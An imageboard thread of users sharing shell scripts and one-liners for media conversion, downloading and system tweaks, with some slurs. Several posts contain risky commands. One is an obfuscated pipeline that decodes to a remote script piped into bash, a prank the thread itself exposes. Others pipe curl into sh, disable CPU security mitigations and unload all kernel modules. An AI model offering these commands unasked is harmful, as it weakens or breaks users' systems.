Improvements welcome. I guess there's a better way to provide -n without repeating myself <https://en.wikipedia.org/wiki/Don%27t_repeat_yourself>.


 No.1040147


 No.1040270

>>1003160

I've made several scripts

>godawful complicated interactive script to cut multiple audio segments from videos and combine them into one file (if it works...)

>script to tag audio files (one to do single files at a time, another to do batches of similar files at once)

>script to optimize image files with fancy output

>script to make an Anki deck given video files with .srt or .ass files named similarly (image, audio, line, tags)

The last one entirely replaces programs that I needed hundreds of megabytes of dependencies to run a shitty GUI that couldn't remember default settings. It does shit like remove retarded formatting, badly encoded subs, audio normalization, padding, and is faster than the other programs I tried as well.


 No.1040540

>>1040146

could do something like:

if [[ "${1}" == '-n' ]]; then 
shift
CMD="echo mv";
else
CMD="mv";
fi
for f in $@; do
$CMD $f `sed $1 <<< $f`;
done

modulo quoting and so on


 No.1044663

Guys, install fish. It's great. This is the first time I have ever used a non-insane shell.

My only complaint is that if your prompt is multiple lines and you ^C to clear a command you started typing, the prompt will overwrite that command on the screen, when I'd prefer if it displayed under the incomplete command's lines.


 No.1048615

This thread is probably dead, but something that saves me is this:


function prv
{
eval $(history 2 | head -n 1 | sed -r 's/ [[:digit:]]* //') # Get second-to-last action
}


 No.1048664

shell
rate="29.97003" # it can be also "23.976024" or "25"
truncate -s %$(($width*$height/($block**2)/8)) $1
ffmpeg -f rawvideo -pix_fmt monob -s $(($width/$block))x$(($height/$block)) \
-r $rate -i $input -vf "scale=iw*${block}:-1" -sws_flags neighbor \
-threads 8 -deadline best -c:v libvpx -b:v 256k $2
input=$1; output=$2; block=8
ffmpeg -i $1 -vf "format=pix_fmts=monob,scale=iw/${block}:-1" \
-sws_flags area -f rawvideo $2


 No.1048669

>>1048664

this converts any file into a snowcrash video


 No.1048978


 No.1050193

GRUB_CMDLINE_LINUX_DEFAULT="pti=off ibrs=off retp=off ibpb=off spectre_v2=off l1tf=off nospec_store_bypass_disable no_stf_barrier" grub-mkconfig -o /boot/grub/grub.cfg


 No.1050217

>>1050193

Absolute madman


 No.1052178

I made a feed reader for my acme client. It works with JSON feeds only, but you can use another program to turn RSS/Atom feeds into JSON feeds. You do need jq (https://stedolan.github.io/jq/) for it to work at all.


#!/bin/sh
# RSS/Atom/JSON Feed reader for acme
# This code is in the public domain
for url in $(cat /home/parker/bin/URLS)
do
temp=$(mktemp)
curl -s $url > $temp
jq -r '.title' $temp
echo
jq -r ' .items | .[] | [.title, .url] | join("\t") ' $temp | sed 11q
echo
echo ==========================================================================
echo
rm $temp
done | 9p write acme/new/body

writetoacme JSON-Feeds

And for anyone interested in the writetoacme function:


#!/bin/sh
# Shortcut for common writing acme applications
# USAGE: writetoacme $1
# $1: name of window
# This code is in the public domain
last=$(9p ls acme | sort -g | tail -n 1)
echo "name $1" | 9p write acme/$last/ctl
echo -n "clean" | 9p write acme/$last/ctl
echo -n "0,0" | 9p write acme/$last/addr
echo -n "dot=addr" | 9p write acme/$last/ctl
echo -n "show" | 9p write acme/$last/ctl


 No.1052220

>>1052178

>using echo -n and not printf

Absolutely disgusting. Also, one should ALWAYS use set -eu in his shell scripts.


 No.1052222

>>1052220

set -euo pipefail


 No.1052258

>>1052222

>bash niggers or zsh/ksg snowflake

If you need more than POSIX sh, use tclsh or scheme.


 No.1055441

Made a minimal CloverOS iso: https://0x0.st/zNUZ.txt

https://0x0.st/zNlh.torrent

magnet:?xt=urn:btih:b6fca5290ed480ad5a709a2a02996764409cf76c&dn=CloverOS_Minimal-x86_64-20190416.iso&tr=udp%3a%2f%2ftracker.opentrackr.org%3a1337%2fannounce


 No.1055445

>>1018184

Made a few improvements to this. Not POSIX compliant, but most things run bash anyway.

#!/usr/bin/env -S bash -euo pipefail

# Sets display variables for notify-send
# User might vary depending on machine, check /etc/passwd
DBUS_SESSION_BUS_ADDRESS='unix:path=/run/user/1000/bus'
DISPLAY=':0'

# Below provides some information when the script exits without completing successfully
function exit_error(){
case "${1}" in
0)
notify-send "${HOME}/Music directory does not exist or cannot be created"
;;
1)
notify-send 'A YouTube URL could not be found in the history'
;;
2)
notify-send 'No kdeconnect devices could be found'
;;
3)
notify-send 'youtube-dl failed to download'
;;
4)
notify-send 'Could not find file in directory'
;;
5)
notify-send 'kdeconnect could not send file'
;;
99)
notify-send 'Required dependencies not found in $PATH' 'Dependencies are kdeconnect, xclip, youtube-dl'
;;
127)
notify-send 'Unable to copy/delete the history database. Permission error?'
;;
esac
exit 1
}

# Checks for a list of commands to see if they're installed as required by the script
# If any of the commands aren't found it will exit
command -v notify-send &>/dev/null || echo 'notify-send is not in $PATH (provides error reporting)'
command -v kdeconnect-cli &>/dev/null || exit_error 99
command -v xclip &>/dev/null || exit_error 99
command -v youtube-dl &>/dev/null || exit_error 99
command -v sqlite3 &>/dev/null || exit_error 99

# Create the Music directory in $HOME if it does not already exist and changes the current working directory to it
mkdir -p "${HOME}/Music" || exit_error 0
cd "${HOME}/Music" || exit_error 0

# Adds a list of connected and reachable devices listed by kdeconnect to an array
# If none are found it exits
mapfile -t dev_ids < <(kdeconnect-cli -l | awk '/reachable/{print $3}')
(( ${#dev_ids[@]} == 0 )) && exit_error 2

# Searches for a Youtube URL in the firefox cache files
while read -r cache_file; do
video_url="$(grep -aoE 'https://www.youtube.com/watch\?v=[a-zA-Z0-9_-]{11}' "${cache_file}" | grep -oP '[\w-]{11}')" && break
true
done < <(find "${HOME}"/.cache/mozilla/firefox/*.default/cache2/entries/ -type f -printf '%T@ %p\n' | sort -r | cut -d' ' -f2)

# If no URL was found in the cache files, it will use Firefox's history database to find one
if [[ -z "${video_url}" ]]; then
hist_db="$(find "${HOME}/.mozilla/firefox/" -name "places.sqlite")"
cp "${hist_db}" places-copy.sqlite || exit_error 127

hist_query="select p.url from moz_historyvisits as h, moz_places as p where substr(h.visit_date, 0, 11) >= strftime('%s', date('now')) and p.id == h.place_id order by h.visit_date;"
video_url="$(sqlite3 places-copy.sqlite "${hist_query}" | grep 'youtube.com' | awk -F'=|&' 'BEGIN {err=1} length($2) == 11 {err=0; print $2} END {exit err}' | tail -1)" || exit_error 1

rm places-copy.sqlite
fi

# Downloads the video, converts to vorbis (.ogg) and attempts to find the downloaded vorbis file
youtube-dl -x --audio-format vorbis "https://www.youtube.com/watch?v=${video_url}" &>/dev/null || exit_error 3
file="$(readlink -f <<< ls ./*"${video_url}."*)" || exit_error 4

# Attempts to send the converted file to all kdeconnect devices
for dev_id in "${dev_ids[@]}"; do
kdeconnect-cli -d "${dev_id}" --share "${file}" &>/dev/null || exit_error 5
notify-send 'Success' "Sent ${file}\\nto ${dev_id}"
done


 No.1057792

curl https://8ch.net/tech/res/1003160.html | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | grep file_store | xargs -I{} wget {}


 No.1060943

oof


 No.1060944

curl https://sh.rustup.rs -sSf | sh


 No.1060945

Updated version with moar options


rate="29.97003" can be also "23.976024"/"25" (or 2x the number to get high framerate)
block=8 # can be also 16/32 (1/2/4 if you don't have to handle lossy compression)
codec="monob" # can be also "monow" ("rgb4"/"bgr4"/"rgb8"/"bgr8" for higher density)

encode() {
truncate -s %$(($width*$height/($block**2)/8)) $1;
ffmpeg -f rawvideo -pix_fmt "${codec}" -s $(($width/$block))x$(($height/$block)) \
-r $rate -i $input -vf "scale=iw*${block}:-1" -sws_flags neighbor \
-threads 8 -deadline best -c:v libvpx -b:v 256k $2; }
decode() {
ffmpeg -i $1 -vf "format=pix_fmts=${codec},scale=iw/${block}:-1" \
-sws_flags area -f rawvideo $2; }


 No.1060958

>>1052258

>scheme

You mean Perl.


 No.1060971

>>1060945

>Updated version

Of what?

>>1048664 is also a partial script (e.g. $height left undefined)

>>1048669

>this converts any file into a snowcrash video

? Snow crash is a music band.


 No.1061031

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash


 No.1061039

>>1061031

>echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\-

https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh

I probably shouldn't have decoded it from your post, because some re/g/ditors would probably try running it first without finding out what it does, but whatever.


 No.1061320

>>1060944

>curl | sh

It's like they never heard of security and stability.


 No.1061322

>>1060971

"Snowcrash" as in television white-noise-like format that has data embedded in it


 No.1061323

>>1060944

lmao I didn't think this was real


 No.1061879

>>1060971

rate="29.97003" can be also "23.976024"/"25" (or 2x the number to get high framerate)
block=8 # can be also 16/32 (1/2/4 if you don't have to handle lossy compression)
codec="monob" # can be also "monow" ("rgb4"/"bgr4"/"rgb8"/"bgr8" for higher density)
width=1280; height=720 (could be other resolutions as well as multiple of block)

encode() {
truncate -s %$(($width*$height/($block**2)/8)) $1;
ffmpeg -f rawvideo -pix_fmt "${codec}" -s $(($width/$block))x$(($height/$block)) \
-r $rate -i $input -vf "scale=iw*${block}:-1" -sws_flags neighbor \
-threads 8 -deadline best -c:v libvpx -b:v 256k $2; }
decode() {
ffmpeg -i $1 -vf "format=pix_fmts=${codec},scale=iw/${block}:-1" \
-sws_flags area -f rawvideo $2; }


 No.1061952

>>1003160

gimpresize(){ input=$1; res=$2; output=$3; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-scale-full image $(tr x \  <<< $res) INTERPOLATION-LOHALO)(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# gimpresize input.png 1920x1080 output.png

imagemagickresize(){ input=$1; res=$2; output=$3; convert "$input" -colorspace RGB +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $res -sigmoidal-contrast 12.09375 -colorspace sRGB "$output";}
# imagemagickresize input.png 1920x1080 output.png

soxresample(){ input=$1; res=$2; output=$3; sox "$input" "$output" rate -v -b 99.7 -M $res;}
# soxresample input.flac 96000 output.flac

xcftoimage(){ input=$1; output=$2; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"$input\")))(drawable (car (gimp-image-merge-visible-layers image CLIP-TO-IMAGE))))(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# xcftoimage image.xcf image.png

vidtogif(){ input=$1; res=$2; colors=$3; output=$4; ffmpeg -y -i "$input" -vf palettegen /tmp/palette.png && ffmpeg -i "$input" -i /tmp/palette.png -lavfi paletteuse "$output" && gifsicle -b -O3 --resize-width $res --colors $colors -i "$output";}
# vidtogif input.webm 640 200 output.gif

vidtowebm(){ input=$1; videoquality=$2; audioquality=$3; output=$4; ffmpeg -i "$input" -c:v libvpx-vp9 -crf $videoquality -b:v 0 -c:a libopus -b:a $audioquality -g 500 -threads 8 "$output";}
# vidtowebm input.mp4 40 192K output.webm

vidtomp4(){ input=$1; videoquality=$2; audioquality=$3; output=$4; ffmpeg -i "$input" -c:v libx264 -crf $videoquality -profile high -level 5.1 -preset veryslow -pix_fmt yuv420p -c:a aac -b:a $audioquality "$output";}
# vidtomp4 input.mkv 20 192K output.mp4

7zipmax(){ archive=$1; directory=$2; 7z a -t7z -mx9 -m0=lzma -mfb=273 -md=1024m -ms=on -mqs=on -myx=9 -mmc=200 -mlc=8 $archive $directory;}
# 7zipmax archive.7z directory/

tarmax(){ archive=$1; directory=$2; XZ_OPT="--lzma1=preset=9e,dict=1024MB,nice=273,depth=200,lc=4" tar --lzma -cf $archive $directory;}
# tarmax archive.tar.lzma directory/

waifu2xmax(){ input=$1; output=$2; quality=$(identify -verbose "$input" | grep -oP "(?<=Quality: ).*"); [ -z $quality ] && opt="-m scale"; [ $quality -le 95 ] && opt="-m noise_scale --noise_level 3"; [ $quality -gt 95 ] && opt="-m noise_scale --noise_level 2"; [ $quality -gt 98 ] && opt="-m noise_scale --noise_level 1"; iteration=$(identify -format "%wx%h" "$input" | awk -F x "{print(40000000/(\$2*\$1)/4)}" | sed "s/\..*//"); while echo waifu2x-converter-cpp -i "$input" --force-OpenCL $opt --scale_ratio $iteration -o "$output"; do ((iteration++)); done;}
# waifu2xmax input.png output.png

screenshot(){ scrot -e "meh \$f || sxiv \$f || feh \$f || nomacs \$f && read -erp Upload\? -n1 yn && [ \\\$yn == y ] && curl -F upload=@\$f https://chiru.no";}
# screenshot

mouseaccelerationdisable() { xinput list --name-only | sed "/Virtual core pointer/,/Virtual core keyboard/"\!"d;//d" | xargs -I{} xinput set-prop {} \"libinput Accel Profile Enabled\" 0 1 &> /dev/null;}
# mouseaccelerationdisable

brightness(){ for f in /sys/class/backlight/*; do sudo sh -c "echo $(($(<$f/brightness)$1*$(<$f/max_brightness)/100)) > $f/brightness"; done;}
# brightness -5 / brightness +5

temps(){ for tempdevice in /sys/class/hwmon/*; do [ -f $tempdevice/temp1_input ] && (temp=$(<$tempdevice/temp1_input); echo "$(<$tempdevice/name) ${temp:0:-3}C"); done;}
# temps

cputemp(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(<$cputempdevice/name); [[ $cputempname == coretemp || $cputempname == it87* || $cputempname == nct6775 || $cputempname == k8temp || $cputempname == k9temp ]] && break; done; temp=$(<$cputempdevice/temp1_input); echo ${temp:0:-3}C;}
# cputemp

freeram(){ lsmod | sed "s/ .*//" | xargs -I{} sudo rmmod {}; sudo /etc/init.d/udev restart; sudo sysctl vm.drop_caches=3;}
# freeram

passgen(){ echo -n Generating password...\ ; head -c 100 /dev/random | tr -cd "[:print:]"; echo;}
# passgen

flipcoin(){ (($(od -An -N1 /dev/random) % 2)) && echo heads || echo tails;}
# flipcoin

deepfry(){ input=$1; iterations=$2; output=$3; cp "$input" "$output"; for ((n=0;n<$iterations;n++)); do convert "$output" -quality $(shuf -n1 -i 50-100) "$output"; done;}
# deepfry input.jpg 1000 output.jpg


 No.1061953

>>1061952

quake3play(){ if [ ! -d "/home/$USER/quake3e/" ]; then mkdir ~/quake3e/; cd ~/quake3e/; git clone --depth 1 https://github.com/ec-/Quake3e .; sed -i "s/Cvar_CheckRange( sv_fps, \"10\", \"125\", CV_INTEGER );//" code/server/sv_init.c; sed -i "s/Cvar_CheckRange( cl_maxpackets, \"15\", \"125\", CV_INTEGER );//" code/client/cl_input.c; sed -i "s/.*OPTIMIZE =.*/OPTIMIZE = -Ofast -march=native -falign-functions=32 -mfpmath=both -pipe -funroll-loops -flto=8 -floop-block -floop-interchange -floop-strip-mine -ftree-loop-distribution -fgraphite-identity -floop-nest-optimize -malign-data=cacheline -mtls-dialect=gnu2 -Wl,--hash-style=gnu/" Makefile; make -j8 || return; mv build/release-linux-x86_64/quake3e.x64 .; find -maxdepth 1 -not -name quake3e.x64 -exec rm -Rf {} +; mkdir baseq3/; wget -P baseq3/ https://github.com/nrempel/q3-server/raw/master/baseq3/pak{0..8}.pk3 https://chiru.no/u/autoexec.cfg; fi; cd ~/quake3e/; ./quake3e.x64 +connect chiru.no;}
# quake3play

fvwmcolor(){ color=$1; [[ ${#1} == 6 ]] && sed -i "s/\(Style \* BackColor \).*/\1#$color/; s/\(Style \* HilightBack \).*/\1#$color/; s/\(Colorset 1 bg #\)......\(.*\)/\1$color\2/; s/\(Colorset 4 bg #\)......\(.*\)/\1$color\2/" ~/.fvwm2rc && killall fvwm && fvwm &}
# fvwmcolor 056839


 No.1061958

>>1061952


ripmusic(){youtube-dl -xf140 --audio-format mp3 $1;}
#rip a music track from jewtube and convert with ffmpeg (required)
# ripmusic http://some.url


 No.1061962

>>1061958

>mp3

use a format that respects your freedom


 No.1061964

>>1061962

>use a format that respects your freedom

it does ;^)


 No.1061966

>>1061952

okay fuck you niggers I will make a one-liner of my script, you happy?

encode() { truncate -s %$((1280*720/(8**2)/8)) $1; ffmpeg -f rawvideo -pix_fmt "monob" -s $((1280/8))x$((720/8)) -r $rate -i $input -vf "scale=iw*8:-1" -sws_flags neighbor -threads 8 -deadline best -c:v libvpx -b:v 256k $2; }
decode() { ffmpeg -i $1 -vf "format=pix_fmts=monob,scale=iw/8:-1" -sws_flags area -f rawvideo $2; }


 No.1061967

Mansplain is a one-liner that pipes the title of every man page to dmenu and allows you to select one to view as pdf.

#!/bin/sh
man -k . | dmenu -l 30 | awk '{print $1}' | xargs -r man -Tpdf | zathura -


 No.1061969

>>1061967

Did you take the idea from Luke Smith?


 No.1061970

>>1061966

>-s $((1280/8))x$((720/8))

160x90

>"scale=iw*8:-1

There's some reason why I'd use -2 instead of -1 like the basic man pages mention, but I've not had to do scaling for about a year so have 'usefully' forgotten why.

>>1061967

>Mansplain

Thanks, but life is pozzed enough as is.


 No.1061987

>>1061964

MP3 used to be proprietary, just like Gif. A lot of people don't realize the patents expired. However, it still is an incredibly shit format compared to contemporaries, as well as raw PCM .wav format


 No.1062146

>>1061958

Just download the vorbis/opus audio track from judentube. No need to further destroy the audio by reencoding to mp3.


 No.1062168

settime(){ sudo date +%s -s @$(curl -s http://www.4webhelp.net/us/timestamp.php | grep -oP '(?<=p" value=").*(?=" s)'); date;}
# settime


 No.1062179

>>1062168

>curling into sudo

why not ntpdate?


 No.1062180

>>1062179

settime(){ sudo date +%s -s @"$(curl -s http://www.4webhelp.net/us/timestamp.php | grep -oP '(?<=p" value=").*(?=" s)')"; date;}
# settime

Holy fuck I forgot to add quotes


 No.1062258

Here is my extremely novice bash script for downloading wallpapers.


#!/bin/bash

echo Download 10 pictures from any category
echo Choose your category

read site
wget https://unsplash.com/search/photos/$site

cat $site | grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos/photos/' > .wgettemp

sort .wgettemp | uniq -d > .wgettemp1
awk '{print "https://unsplash.com/"$0}' .wgettemp1 > .temp
awk '{print $0"/download"}' .temp >.temp1
mkdir -p Photos/$site
wget -i .temp1 -P Photos/$site
cat .temp1
rm .wgettemp .wgettemp1 .temp .temp1 $site


 No.1062322


vidresize(){ input=$1; resolution=$2; videoquality=$3; output=$4; ffmpeg -i "$input" -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -vf scale=$resolution -c:v h264 -crf $videoquality -preset veryslow -level 5.1 -pix_fmt yuv420p -c:a copy "$output";}
# vidresize input.mkv 1280:-1 20 output.mp4

vidtogif(){ input=$1; resolution=$2; colors=$3; output=$4; ffmpeg -y -i "$input" -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -vf "scale=$resolution, palettegen=max_colors=$colors" /tmp/palette.png && ffmpeg -i "$input" -i /tmp/palette.png -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -filter_complex "scale=$resolution, paletteuse=dither=bayer" "$output" && gifsicle --no-conserve-memory -b -O3 -i "$output";}
# vidtogif input.webm 640:-1 200 output.gif


 No.1062325

File: 822e9da16c267c6⋯.jpg (82.58 KB, 1047x1575, 349:525, 1412101418791.jpg)

Always quote your variables.


 No.1062337

https://zigforums.com/thread/1003160/technology/shell-thread.html

Looks like this thread exists in a different universe as well.


 No.1062355

>>1062258

>wget https://unsplash.com/search/photos/$site

>cat $site | grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos/photos/' > .wgettemp

>sort .wgettemp | uniq -d > .wgettemp1


#Simplifying it a bit you can invoke the command with the site value as the first argument.
$getwall site
#and get down to the .wgettemp1 point with a one liner:

#!usr/bin/env bash
echo "Downloading 10 pictures from ${1} category"
wget "https://unsplash.com/search/photos/${1}" -O - \
| grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos/photos/' \
|sort -u > .wgettemp1
.
.
.

You can likely do most of it with a one liner using an inline sed script most of the way, starting where you have the grep.


 No.1062357

>>1062355

>|sort -u > .wgettemp1

you may wish to check that since you might be doing something else with the uniq -d instead of uuniq - u, or plain uniq


 No.1062362

#get.new.tor.entry.bmp

sudo su

killall tor

rm -rf /var/lib/tor/*


 No.1062385

vidresize(){ input=$1; resolution=$2; videoquality=$3; output=$4; ffmpeg -i "$input" -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -vf scale=$resolution -c:v h264 -crf $videoquality -preset veryslow -level 5.1 -pix_fmt yuv420p -c:a copy "$output";}
# vidresize input.mkv 1280:-1 20 output.mp4


 No.1062490

>>1061970

There is a reason I did that: More customization for those who want different resolutions, zoom etc.


 No.1062493

File: a60af9d4a8e3b45⋯.gif (11.94 MB, 683x384, 683:384, Mpv.gif)

vidtogif(){ input=$1; resolution=$2; colors=$3; output=$4; ffmpeg -y -i "$input" -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -vf "scale=$resolution, palettegen=max_colors=$colors" /tmp/palette.png && ffmpeg -y -i "$input" -i /tmp/palette.png -sws_flags "spline+full_chroma_int+accurate_rnd+bitexact" -filter_complex "scale=$resolution, paletteuse=dither=bayer:bayer_scale=4" "$output" && gifsicle --no-conserve-memory -b -O3 -i "$output";}
# vidtogif input.webm 640:-1 200 output.gif

Made a tweak to this. The quality/size is pretty good.


 No.1062498

>>1062355

Thanks anon!

This is huge improvement, now all of the ugly temp files are gone and the script feels a lot nicer to use.

As a experiment I'm going try creating a "--help" option. It doesn't need it but it will be great for learning.

>wget "https://unsplash.com/search/photos/${1}" -O - \

>- \

I learned that "\" is for STDOUT but what's the "-" before it used for?

>>1062357

>sort | uniq -d

Didn't know how to use the tools and after getting it working I just left it in.


 No.1062503

>>1062498

>now all of the ugly temp files are gone

No they aren't... My brain was just not working when I posted that.

I made a little improvement which cuts the amount of temp files in half.

 awk '{print "https://unsplash.com/"$0"/download"}' .wgettemp1 > .temp 


 No.1062504

>>1062498

>I learned that "\" is for STDOUT but what's the "-" before it used for?

No "\" isn't STDOUT.

"\" is a line continuation character to continue the command on the next line for readability.

"-O filename-here" means output the contents from wget into a file called "filename-here" and "-" is the stdout 'file'.

So "-O -" means the contents of wget is output into the file named "-", i.e. stdout.

I'd suggest you read through the wget manual with "man wget" since you may be able to do what you're trying to using only wget options (e.g. "-F" "-I" "-A" and "-B" spring to mind)

Since you seemed interested in my changes, and what you're doing also piqued my interest, I had another look at the script (and forgot about man wget) ...here's what I have doing it without the temp files:


$cat getwall
#!/usr/bin/env bash
echo "Downloading 10 pictures from ${1} category"
mkdir -p Photos/${1} && \
wget "https://unsplash.com/search/photos/${1}" -O - \
| grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos/photos/g' \
|sort -u | sed 's/\(.*\)/https\:\/\/unsplash.com\/\1\/download/' \
|wget -i - -P Photos/${1}

###EXPLANATION:###
#!/usr/bin/env bash
#Use the correct path to the bash binary according to the environment.
#This has better portability across systems for the script than the usual !/bin/bash

echo "Downloading 10 pictures from ${1} category"
#Print a message to the user using the first command argument i.e. the ${1} value.

mkdir -p Photos/${1} && \
#Make a directory including necessary paths (-p) using the value given when invoking the command (${1})
#and if the command runs successfully then continue (&&) to execute what comes next...
#continue the command on the next line for readability (\)

wget "https://unsplash.com/search/photos/${1}" -O - \
#wget the file at the URL htpps://.... ending in the value of ${1} and write it to the file stdout (-O -)
#continue the command on the next line for readability (\)

| grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos/photos/' \
#find lines with href="/photos/<10,or 11characters>", then use sed to remove everything before "photos"
#( NOTE: The grep command could give the wrong result if the HTML is returned compressed into one line,
# and the sed regex is greedy, so would only grab the very last "photos" in the whole HTML.
#If this was the case you'd need a much more complex regex in the sed and/or replace the grep to pull it off. )
#continue the command on the next line for readability (\)

|sort -u | sed 's/\(.*\)/https\:\/\/unsplash.com\/\1\/download/' \
#sort and get rid of duplicate lines leaving only unique lines (-u) then..
#pass into sed and save everything on the line ".*" as a pattern "\(some-pattern\)"
#then replace everything on the line with https://unsplash.com/some-pattern/download (First pattern is used as "\1" )
#continue the command on the next line for readability (\)

|wget -i - -P Photos/${1}
#wget using stdin for the URLs (-i -) and output into the path Photos/first-argument-directory-you-made-earlier (-P Photos/${1})

...I should have posted this earlier...updated version coming in next post....


 No.1062505

>>1062504

Updated version removing one sed, and wget, and the downloaded files are given their actual names (no extension) instead of download, download.1, download.2 as you originally had.

[code]

$cat getwall2

#!/usr/bin/env bash

echo "Downloading 10 pictures from ${1} category"

mkdir -p Photos/${1} && cd Photos/${1} && \

wget "https://unsplash.com/search/photos/${1}" -O - \

| grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos\///' \

| sort -u | sed 's/\(.*\)/wget \-O \1 https\:\/\/unsplash.com\/photos\/\1\/download/g' | sh

[code]

Instead of using the sed to get "photos/some-file-name", it simply gets "some-file-name", then replaces that line with "wget -O some-file-name https://unsplash.com/photos/some-file-name/download", and pipes this all into a shell (sh) to run each line. Since there is "cd Photos/${1}" after the directory is made "mkdir -p Photos/${1}" there is no need to add a "-P" option to the wget, since you're already in the directory when the command executes by the sub shell (sh). When the script ends you return to your present working directory automatically - because the script itself runs in another shell.


 No.1062506

>>1062505

*correct formatting for code


$cat getwall2
#!/usr/bin/env bash
echo "Downloading 10 pictures from ${1} category"
mkdir -p Photos/${1} && cd Photos/${1} && \
wget "https://unsplash.com/search/photos/${1}" -O - \
| grep -o -P "href=\"/photos/.{10,11}" | sed 's/^.*photos\///' \
| sort -u | sed 's/\(.*\)/wget \-O \1 https\:\/\/unsplash.com\/photos\/\1\/download/g' | sh

*Instead of using the first sed to get "photos/some-file-name", it simply gets "some-file-name", then in the second sed, after the sort by uniques it replaces this with "wget -O some-file-name https://unsplash.com/photos/some-file-name/download"


 No.1062509

>>1062504

>( NOTE: The grep command could give the wrong result if the HTML is returned compressed into one line,

Ignore, your use of the option "-o" of the grep takes care of that.


 No.1062621

>>1062498

Doing the "sort -u" function with sed instead is tricky, so I'll settle for a minor enhancement of placing the sort -u after the grep and reducing down to only one sed (that runs a two part inline sed script)


$cat getwall3
#!/usr/bin/env bash
echo "Downloading 10 pictures from ${1} category"
mkdir -p Photos/${1} && cd Photos/${1} && \
wget "https://unsplash.com/search/photos/${1}" -O - \
| grep -o -P "href=\"/photos/.{10,11}" | sort -u \
|sed 's/^.*photos\///; s/\(.*\)/wget \-O \1 https\:\/\/unsplash.com\/photos\/\1\/download/g' | sh

#the above script will produce output like lines below, and pass them into sh for execution.
wget -O esvWH-owWug https://unsplash.com/photos/esvWH-owWug/download
wget -O f_SDCASisgs https://unsplash.com/photos/f_SDCASisgs/download
wget -O GRV4ypBKgxE https://unsplash.com/photos/GRV4ypBKgxE/download


 No.1062631

A sperg in >>1062615 killed a thread to make a thread with the first three below. I added a sed version of doing the same (printing out the system memory usage), and ignored the >>1062615 thread.


grep '^MemTotal:' /proc/meminfo | tr -s ' ' | cut -d ' ' -f2
awk '/^MemTotal:/{print $2}' /proc/meminfo
while read -a line; do [ ${line[0]} == 'MemTotal:' ] && echo ${line[1]}; done < /proc/meminfo

sed -n 's/MemTotal\: *\([0-9a-Z]\) *//p' </proc/meminfo


 No.1062632

>>1062621

Unsplash provides next to the auth API a free one, if you want to play with it https://source.unsplash.com/


 No.1062633

>>1062631

>memory usage


free | grep 'Mem' | awk '{print $3}'


 No.1062642

>>1062631

I have changed your sed solution because it would give a bit different result than rest

sed -n 's/^MemTotal: *\([[:digit:]]*\).*/\1/p' /proc/meminfo


 No.1062663

>>1062146

> No need to further destroy the audio by reencoding to mp3.

mp3=portability. It's like the JPEG of audio. It might not be the best format, but you won't have to worry about reencoding your entire FLAC archive when SHTF to play a morale boosting tune on an old mp3 player you found in the wastelands.


 No.1062709

File: 9c451c15b858d68⋯.jpg (73.53 KB, 375x500, 3:4, 1412096474622.jpg)

>>1062633

> grep 'Mem' | awk '{print $3}'

awk '/Mem/ { print $3 }'


 No.1062974

>>1062663

Most portable devices play FLAC now.

Now's a good chance to find and melt down/recycle all non-FLAC capable devices before SHTF so that the new civilization won't be filled with disgusting lossy plebians


 No.1062983

>>1062974

> now.

!= then


 No.1064163

>>1004284

Some options here may be redundant because I adapted this from the command I use to dump boards. Either way rtfm and use this line as reference:

wget -c -nd -X '*/thumb*' -e robots=off -E -k -r -l 1 -A '*.png','*.jpg','*.webm','*.mp4','*.pdf','*.jpeg','*.gif' -H -D 'media.8ch.net','8ch.net' --exclude-domains 'nerv.8ch.net' --no-parent --


 No.1070385


gimpresize(){ input=$1; resolution=$2; output=$3; gimp -ib "(let* ((image (car (gimp-file-load 1 \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-convert-precision image PRECISION-DOUBLE-LINEAR)(gimp-image-scale-full image $(tr x \ <<< $resolution) INTERPOLATION-LOHALO)(gimp-image-convert-precision image PRECISION-U8-GAMMA)(gimp-file-save 1 image drawable \"$output\" \"\"))(gimp-quit 0)";}
# gimpresize input.png 1920x1080 output.png

imagemagickresize(){ input=$1; resolution=$2; output=$3; convert "$input" -colorspace RGB -define quantum:format=floating-point -depth 64 +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $resolution -sigmoidal-contrast 12.09375 -depth 8 -colorspace sRGB "$output";}
# imagemagickresize input.png 1920 output.png

